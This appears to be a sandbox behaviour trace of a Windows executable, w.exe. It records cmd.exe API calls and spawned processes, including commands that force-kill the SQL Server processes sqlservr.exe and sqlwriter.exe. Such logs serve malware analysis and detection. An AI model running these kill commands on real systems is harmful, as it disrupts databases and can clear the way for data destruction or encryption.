	[0034.424] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0034.424] GetProcessHeap () returned 0x330000
	[0034.424] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400a) returned 0x346a10
	[0034.424] GetProcessHeap () returned 0x330000
	[0034.424] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x346a10 | out: hHeap=0x330000) returned 1
	[0034.425] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0034.425] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0034.425] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0034.425] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0034.425] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0034.425] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0034.425] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0034.425] GetProcessHeap () returned 0x330000
	[0034.425] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x58) returned 0x343168
	[0034.425] GetProcessHeap () returned 0x330000
	[0034.425] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1a) returned 0x345710
	[0034.426] GetProcessHeap () returned 0x330000
	[0034.426] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x34) returned 0x3431c8
	[0034.426] GetConsoleTitleW (in: lpConsoleTitle=0x1afa40, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0034.427] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0034.427] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0034.427] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0034.427] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0034.427] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0034.427] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0034.427] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0034.427] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0034.427] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0034.427] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0034.427] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0034.427] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0034.427] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0034.427] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0034.427] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0034.427] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0034.427] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0034.427] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0034.427] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0034.427] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0034.427] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0034.427] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0034.427] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0034.427] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0034.427] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0034.427] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0034.428] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0034.428] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0034.428] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0034.428] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0034.428] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0034.428] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0034.428] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0034.428] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0034.428] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0034.428] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0034.428] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0034.428] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0034.428] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0034.428] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0034.428] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0034.428] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0034.428] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0034.428] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0034.428] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0034.428] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0034.428] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0034.428] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0034.428] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0034.428] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0034.428] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0034.428] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0034.428] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0034.429] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0034.429] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0034.429] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0034.429] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0034.429] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0034.429] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0034.429] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0034.429] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0034.429] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0034.429] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0034.429] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0034.429] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0034.429] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0034.429] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0034.429] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0034.429] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0034.429] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0034.429] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0034.429] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0034.429] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0034.429] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0034.429] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0034.429] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0034.429] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0034.429] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0034.429] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0034.429] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0034.429] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0034.429] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0034.429] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0034.429] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0034.429] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0034.429] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0034.429] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0034.430] GetProcessHeap () returned 0x330000
	[0034.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x210) returned 0x343208
	[0034.430] GetProcessHeap () returned 0x330000
	[0034.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x46) returned 0x343420
	[0034.430] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0034.430] GetProcessHeap () returned 0x330000
	[0034.430] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x418) returned 0x3307f0
	[0034.430] SetErrorMode (uMode=0x0) returned 0x8003
	[0034.430] SetErrorMode (uMode=0x1) returned 0x0
	[0034.430] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3307f8, lpFilePart=0x1af560 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af560*="Desktop") returned 0x25
	[0034.430] SetErrorMode (uMode=0x8003) returned 0x1
	[0034.430] GetProcessHeap () returned 0x330000
	[0034.430] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3307f0, Size=0x66) returned 0x3307f0
	[0034.430] GetProcessHeap () returned 0x330000
	[0034.430] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3307f0) returned 0x66
	[0034.431] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0034.431] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0034.431] GetProcessHeap () returned 0x330000
	[0034.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x120) returned 0x343470
	[0034.431] GetProcessHeap () returned 0x330000
	[0034.431] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x238) returned 0x330860
	[0034.433] GetProcessHeap () returned 0x330000
	[0034.433] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x330860, Size=0x122) returned 0x330860
	[0034.433] GetProcessHeap () returned 0x330000
	[0034.433] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x330860) returned 0x122
	[0034.433] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7a0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0034.433] GetProcessHeap () returned 0x330000
	[0034.433] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe0) returned 0x330990
	[0034.433] GetProcessHeap () returned 0x330000
	[0034.433] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x330990, Size=0x76) returned 0x330990
	[0034.433] GetProcessHeap () returned 0x330000
	[0034.433] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x330990) returned 0x76
	[0034.433] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.433] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x1af2dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af2dc) returned 0xffffffff
	[0034.433] GetLastError () returned 0x2
	[0034.433] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x1af2dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af2dc) returned 0xffffffff
	[0034.434] GetLastError () returned 0x2
	[0034.434] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0034.434] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x1af2dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af2dc) returned 0x330a10
	[0034.434] GetProcessHeap () returned 0x330000
	[0034.434] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x14) returned 0x343598
	[0034.434] FindClose (in: hFindFile=0x330a10 | out: hFindFile=0x330a10) returned 1
	[0034.434] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x1af2dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af2dc) returned 0xffffffff
	[0034.434] GetLastError () returned 0x2
	[0034.434] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af2dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af2dc) returned 0x330a10
	[0034.434] GetProcessHeap () returned 0x330000
	[0034.434] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x343598, Size=0x4) returned 0x343598
	[0034.435] FindClose (in: hFindFile=0x330a10 | out: hFindFile=0x330a10) returned 1
	[0034.435] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0034.435] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0034.435] GetConsoleTitleW (in: lpConsoleTitle=0x1af7d4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0034.435] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af65c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af724 | out: lpAttributeList=0x1af65c, lpSize=0x1af724) returned 1
	[0034.435] UpdateProcThreadAttribute (in: lpAttributeList=0x1af65c, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af71c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af65c, lpPreviousValue=0x0) returned 1
	[0034.435] GetStartupInfoW (in: lpStartupInfo=0x1af618 | out: lpStartupInfo=0x1af618*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac)) 
	[0034.435] GetProcessHeap () returned 0x330000
	[0034.435] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x330a10
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0034.435] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0034.436] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0034.436] GetProcessHeap () returned 0x330000
	[0034.436] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x330a10 | out: hHeap=0x330000) returned 1
	[0034.436] GetProcessHeap () returned 0x330000
	[0034.436] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa) returned 0x33fee0
	[0034.436] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0034.438] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im sqlservr.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af6b8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im sqlservr.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af704 | out: lpCommandLine="taskkill  /f /im sqlservr.exe ", lpProcessInformation=0x1af704*(hProcess=0x78, hThread=0x74, dwProcessId=0xba4, dwThreadId=0xba8)) returned 1
	[0034.443] CloseHandle (hObject=0x74) returned 1
	[0034.443] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0034.443] GetProcessHeap () returned 0x330000
	[0034.443] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ed0 | out: hHeap=0x330000) returned 1
	[0034.443] GetEnvironmentStringsW () returned 0x354a48*
	[0034.443] GetProcessHeap () returned 0x330000
	[0034.443] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb36) returned 0x344090
	[0034.443] FreeEnvironmentStringsW (penv=0x354a48) returned 1
	[0034.443] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0034.727] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1af5f8 | out: lpExitCode=0x1af5f8*=0x80) returned 1
	[0034.727] CloseHandle (hObject=0x78) returned 1
	[0034.727] _vsnwprintf (in: _Buffer=0x1af740, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af604 | out: _Buffer="00000080") returned 8
	[0034.727] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0034.727] GetProcessHeap () returned 0x330000
	[0034.727] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344090 | out: hHeap=0x330000) returned 1
	[0034.727] GetEnvironmentStringsW () returned 0x344090*
	[0034.727] GetProcessHeap () returned 0x330000
	[0034.727] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb5c) returned 0x345ed0
	[0034.727] FreeEnvironmentStringsW (penv=0x344090) returned 1
	[0034.727] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0034.727] GetProcessHeap () returned 0x330000
	[0034.727] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345ed0 | out: hHeap=0x330000) returned 1
	[0034.727] GetEnvironmentStringsW () returned 0x344090*
	[0034.727] GetProcessHeap () returned 0x330000
	[0034.727] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb5c) returned 0x345ed0
	[0034.728] FreeEnvironmentStringsW (penv=0x344090) returned 1
	[0034.728] GetProcessHeap () returned 0x330000
	[0034.728] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x33fee0 | out: hHeap=0x330000) returned 1
	[0034.728] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af65c | out: lpAttributeList=0x1af65c) 
	[0034.728] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0034.728] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0034.728] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0034.728] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a7941ac | out: lpMode=0x4a7941ac) returned 0
	[0034.728] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0034.728] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a7941b0 | out: lpMode=0x4a7941b0) returned 0
	[0034.728] GetConsoleOutputCP () returned 0x1b5
	[0034.728] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a794260 | out: lpCPInfo=0x4a794260) returned 1
	[0034.728] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0034.729] exit (_Code=128) 

Process:
	id = "11"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4bc9c000"
	os_pid = "0xba4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "10"
	os_parent_pid = "0xb9c"
	cmd_line = "taskkill  /f /im sqlservr.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 118
	os_tid = 0xba8


Thread:
	id = 119
	os_tid = 0xbac


Thread:
	id = 120
	os_tid = 0xbb0


Thread:
	id = 121
	os_tid = 0xbb4


Thread:
	id = 122
	os_tid = 0xbb8


Process:
	id = "12"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4c0bb000"
	os_pid = "0xbc0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im sqlwriter.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 123
	os_tid = 0xbc4

	[0034.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2df7d4 | out: lpSystemTimeAsFileTime=0x2df7d4*(dwLowDateTime=0xfa6b0fd0, dwHighDateTime=0x1d52dc4)) 
	[0034.812] GetCurrentProcessId () returned 0xbc0
	[0034.812] GetCurrentThreadId () returned 0xbc4
	[0034.812] GetTickCount () returned 0x18fa1
	[0034.812] QueryPerformanceCounter (in: lpPerformanceCount=0x2df7cc | out: lpPerformanceCount=0x2df7cc*=15512170625) returned 1
	[0034.813] GetModuleHandleA (lpModuleName=0x0) returned 0x4a470000
	[0034.813] __set_app_type (_Type=0x1) 
	[0034.813] __p__fmode () returned 0x74eb31f4
	[0034.813] __p__commode () returned 0x74eb31fc
	[0034.813] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4921a6) returned 0x0
	[0034.813] __getmainargs (in: _Argc=0x4a494238, _Argv=0x4a494240, _Env=0x4a49423c, _DoWildCard=0, _StartInfo=0x4a494140 | out: _Argc=0x4a494238, _Argv=0x4a494240, _Env=0x4a49423c) returned 0
	[0034.813] GetCurrentThreadId () returned 0xbc4
	[0034.813] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbc4) returned 0x60
	[0034.813] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0034.814] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0034.814] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0034.814] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0034.814] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2df764 | out: phkResult=0x2df764*=0x0) returned 0x2
	[0034.814] VirtualQuery (in: lpAddress=0x2df79b, lpBuffer=0x2df734, dwLength=0x1c | out: lpBuffer=0x2df734*(BaseAddress=0x2df000, AllocationBase=0x1e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0034.814] VirtualQuery (in: lpAddress=0x1e0000, lpBuffer=0x2df734, dwLength=0x1c | out: lpBuffer=0x2df734*(BaseAddress=0x1e0000, AllocationBase=0x1e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0034.814] VirtualQuery (in: lpAddress=0x1e1000, lpBuffer=0x2df734, dwLength=0x1c | out: lpBuffer=0x2df734*(BaseAddress=0x1e1000, AllocationBase=0x1e0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0034.814] VirtualQuery (in: lpAddress=0x1e3000, lpBuffer=0x2df734, dwLength=0x1c | out: lpBuffer=0x2df734*(BaseAddress=0x1e3000, AllocationBase=0x1e0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0034.814] VirtualQuery (in: lpAddress=0x2e0000, lpBuffer=0x2df734, dwLength=0x1c | out: lpBuffer=0x2df734*(BaseAddress=0x2e0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0034.814] GetConsoleOutputCP () returned 0x1b5
	[0034.814] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a494260 | out: lpCPInfo=0x4a494260) returned 1
